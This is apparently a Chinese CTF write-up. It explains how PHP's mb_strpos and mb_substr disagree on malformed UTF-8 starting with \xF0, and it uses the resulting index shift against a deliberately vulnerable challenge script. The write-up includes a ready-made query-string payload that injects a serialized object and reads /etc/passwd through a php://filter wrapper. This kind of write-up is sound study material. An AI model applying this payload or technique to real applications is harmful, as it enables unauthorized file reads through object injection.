mb_strpos与mb_substr错位索引
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 2. mb_substr和mb_strpos函数漏洞 mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。 (1)mb_strpos: 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。 mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false $haystack:要在其中搜索子字符串的源字符串。 $needle:要搜索的子字符串。 $offset(可选):从哪个位置开始搜索,默认为 0。 $encoding(可选):要使用的字符编码,默认为内部字符编码。
(2)mb_substr: 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。 mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false $string:要截取的原始字符串。 $start:截取的起始位置。如果是负数,则表示从末尾开始计数。 $length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。 $encoding(可选):要使用的字符编码,默认为内部字符编码。
|
1 2 3 4 5 6 7 8 9
| 当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。 不符合4位的规则的话,mb_substr和mb_strpos执行存在差异: (1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析 mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节
(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析 mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节
结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动
|
1 2 3 4 5 6
| 3. mb_substr和mb_strpos函数漏洞与本题结合 通过控制C的长度可以控制我们想要执行$key的长度 通过控制B我们可以控制索引值需要提前几位 每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节 每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节 每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
|
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class read_file{ public $start; public $filename="/etc/passwd"; public function __construct($start){ $this->start=$start; } public function __destruct(){ if($this->start == "gxngxngxn"){ echo 'What you are reading is:'.file_get_contents($this->filename); } } } if(isset($_GET['start'])){ $readfile = new read_file($_GET['start']); $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag"; if(preg_match("/\[|\]/i", $_GET['read'])){ die("NONONO!!!"); } $ctf = substrstr($read."[".serialize($readfile)."]"); unserialize($ctf); }else{ echo "Start_Funny_CTF!!!"; }
|
审计上述代码,发现传入参数start和read,会拼接read和realfile的序列化。
根据代码知道,在调用函数截取的时候是以 “[” 开始的,但是read里面又不能有 “[”,所以一定只能截取[]内的序列化。但是只有变量start是可控的,其它不可控,看似无解,但可利用上述的漏洞,让其发生错位索引,从而执行我们自己传入的序列化列表。
1 2 3 4 5 6 7 8 9 10
| 如果start=gxngxngxn,序列化为: O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}
如果我们自己构造一个序列化表传入,start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";} 序列化结果为: O:9:"read_file":2:{s:5:"start";s:126:"O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}";s:8:"filename";s:11:"/etc/passwd";}
相比较,前面多了一串: O:9:"read_file":2:{s:5:"start";s:126:" 刚好多了38个字符,就可以通过传参read来利用上述漏洞,让他们错位38个索引
|
payload:
1
| ?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}
|
接下来分析一下,传进去后,在传入截取函数前,它们会组合成:
%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa[O:9:“read_file”:2:{s:5:“start”;s:126:“O:9:“read_file”:2:{s:5:“start”;s:9:“gxngxngxn”;s:8:“filename”;s:55:“php://filter/convert.base64-encode/resource=/etc/passwd”;}”;s:8:“filename”;s:11:“/etc/passwd”;}]
根据上述漏洞,mb_strpos索引"[“时,会索引到 12x4+2x2+1-1 = 52,即”["下标是52
mb_substr在截取时,就会从下标为53的截取。 53=12x1+1x2+1+38+1-1,刚好绕过了前面的38个字符串,从而反序列化我们自己传入的序列化表。